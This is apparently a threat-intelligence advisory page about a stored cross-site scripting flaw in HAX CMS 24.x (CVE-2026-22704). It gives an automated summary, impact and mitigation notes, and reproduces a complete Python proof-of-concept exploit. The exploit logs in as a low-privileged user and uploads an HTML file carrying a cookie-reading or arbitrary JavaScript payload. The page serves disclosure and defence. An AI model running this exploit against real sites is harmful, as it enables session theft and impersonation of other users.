HAX CMS 24.x - Stored Cross-Site Scripting (XSS)
HAX CMS version 24. x is affected by a stored Cross-Site Scripting (XSS) vulnerability. This type of vulnerability allows an attacker to inject malicious scripts that are permanently stored on the target server and executed in the context of users' browsers when they access affected pages. The exploit code is available in Python. The severity is assessed as medium based on the nature of the vulnerability and available information.
AI Analysis
Technical Summary
The vulnerability in HAX CMS 24.x is a stored Cross-Site Scripting (XSS) flaw. Stored XSS occurs when malicious input is saved by the application and later rendered in web pages without proper sanitization or encoding, enabling attackers to execute arbitrary scripts in users' browsers. This can lead to session hijacking, defacement, or other client-side attacks. Exploit code has been published in Python, indicating proof of concept availability. No specific affected versions beyond 24.x are detailed, and no patch or vendor advisory information is provided.
Potential Impact
Successful exploitation of this stored XSS vulnerability could allow attackers to execute arbitrary JavaScript in the context of users visiting the affected CMS, potentially leading to theft of session tokens, user impersonation, or delivery of malicious payloads. However, no known exploits in the wild have been reported at this time.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, users should consider applying input validation and output encoding as temporary mitigations to reduce the risk of stored XSS. Monitor vendor channels for updates and apply patches promptly once released.
Indicators of Compromise
- exploit-code: # Exploit Title: HAX CMS 24.x - Stored Cross-Site Scripting (XSS) # Date: 2026-01-28 # Google Dork: "N/A" # Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Vendor Homepage: https://www.drupal.org/project/hax # Software Link: https://github.com/elmsln/haxcms # Version: <= 24.x (tested) # Tested on: Linux # CVE: CVE-2026-22704 # # Description: # HAX CMS allows low-privileged authenticated users to upload HTML files # without proper content sanitization. Uploaded HTML files are rendered # directly by the application, leading to a Stored Cross-Site Scripting (XSS) # vulnerability when accessed by other users. # # # Usage: # python3 haxcms_stored_xss.py --target http://TARGET --user USER --password PASS # import argparse import requests from urllib.parse import urljoin def create_poc_html(payload_type="alert"): """ Generate HTML PoC file. Payload types: - alert : simple JS alert (default) - cookie : cookie access demonstration - custom : user supplied JavaScript """ if payload_type == "cookie": js_payload = """ alert("PoC: document.cookie = " + document.cookie); """ elif payload_type == "alert": js_payload = """ alert("Stored XSS PoC - CVE-2026-22704"); """ else: js_payload = payload_type return f"""<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>PoC</title> </head> <body> <h2>HAX CMS Stored XSS PoC</h2> <script> {js_payload.strip()} </script> </body> </html> """ def upload_file(target, username, password, filename, content): session = requests.Session() login_url = urljoin(target, "/user/login") login_data = { "name": username, "pass": password, "form_id": "user_login_form", "op": "Log in" } print("[*] Logging in...") r = session.post(login_url, data=login_data, allow_redirects=True) if "log out" not in r.text.lower(): print("[!] Login failed") return False print("[+] Login successful") upload_url = urljoin(target, "/files/upload") files = { "files[upload]": (filename, content.encode(), "text/html") } print("[*] Uploading HTML file...") r = session.post(upload_url, files=files) if r.status_code not in (200, 201, 302): print("[!] Upload failed") return False file_url = urljoin(target, f"/sites/default/files/{filename}") print("[+] File uploaded successfully") print("[+] PoC URL:") print(file_url) return True def main(): parser = argparse.ArgumentParser(description="HAX CMS Stored XSS PoC (CVE-2026-22704)") parser.add_argument("--target", required=True, help="Target base URL") parser.add_argument("--user", required=True, help="Low privilege username") parser.add_argument("--password", required=True, help="Password") parser.add_argument("--payload", default="alert", choices=["alert", "cookie", "custom"], help="PoC payload type") parser.add_argument("--filename", default="poc.html", help="Uploaded file name") args = parser.parse_args() if args.payload == "custom": js = input("[?] Enter custom JavaScript payload:\n> ") html = create_poc_html(js) else: html = create_poc_html(args.payload) upload_file( args.target.rstrip("/"), args.user, args.password, args.filename, html ) if __name__ == "__main__": main()
HAX CMS 24.x - Stored Cross-Site Scripting (XSS)
Description
HAX CMS version 24. x is affected by a stored Cross-Site Scripting (XSS) vulnerability. This type of vulnerability allows an attacker to inject malicious scripts that are permanently stored on the target server and executed in the context of users' browsers when they access affected pages. The exploit code is available in Python. The severity is assessed as medium based on the nature of the vulnerability and available information.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The vulnerability in HAX CMS 24.x is a stored Cross-Site Scripting (XSS) flaw. Stored XSS occurs when malicious input is saved by the application and later rendered in web pages without proper sanitization or encoding, enabling attackers to execute arbitrary scripts in users' browsers. This can lead to session hijacking, defacement, or other client-side attacks. Exploit code has been published in Python, indicating proof of concept availability. No specific affected versions beyond 24.x are detailed, and no patch or vendor advisory information is provided.
Potential Impact
Successful exploitation of this stored XSS vulnerability could allow attackers to execute arbitrary JavaScript in the context of users visiting the affected CMS, potentially leading to theft of session tokens, user impersonation, or delivery of malicious payloads. However, no known exploits in the wild have been reported at this time.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, users should consider applying input validation and output encoding as temporary mitigations to reduce the risk of stored XSS. Monitor vendor channels for updates and apply patches promptly once released.
Technical Details
- Edb Id
- 52526
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for HAX CMS 24.x - Stored Cross-Site Scripting (XSS)
# Exploit Title: HAX CMS 24.x - Stored Cross-Site Scripting (XSS) # Date: 2026-01-28 # Google Dork: "N/A" # Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Vendor Homepage: https://www.drupal.org/project/hax # Software Link: https://github.com/elmsln/haxcms # Version: <= 24.x (tested) # Tested on: Linux # CVE: CVE-2026-22704 # # Description: # HAX CMS allows low-privileged authenticated users to upload HTML files # without proper content sanitization.... (3084 more characters)
Threat ID: 69f1f0fdcbff5d8610047e35
Added to database: 4/29/2026, 11:52:29 AM
Last enriched: 4/29/2026, 11:52:35 AM
Last updated: 4/30/2026, 3:30:16 AM
Views: 7
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.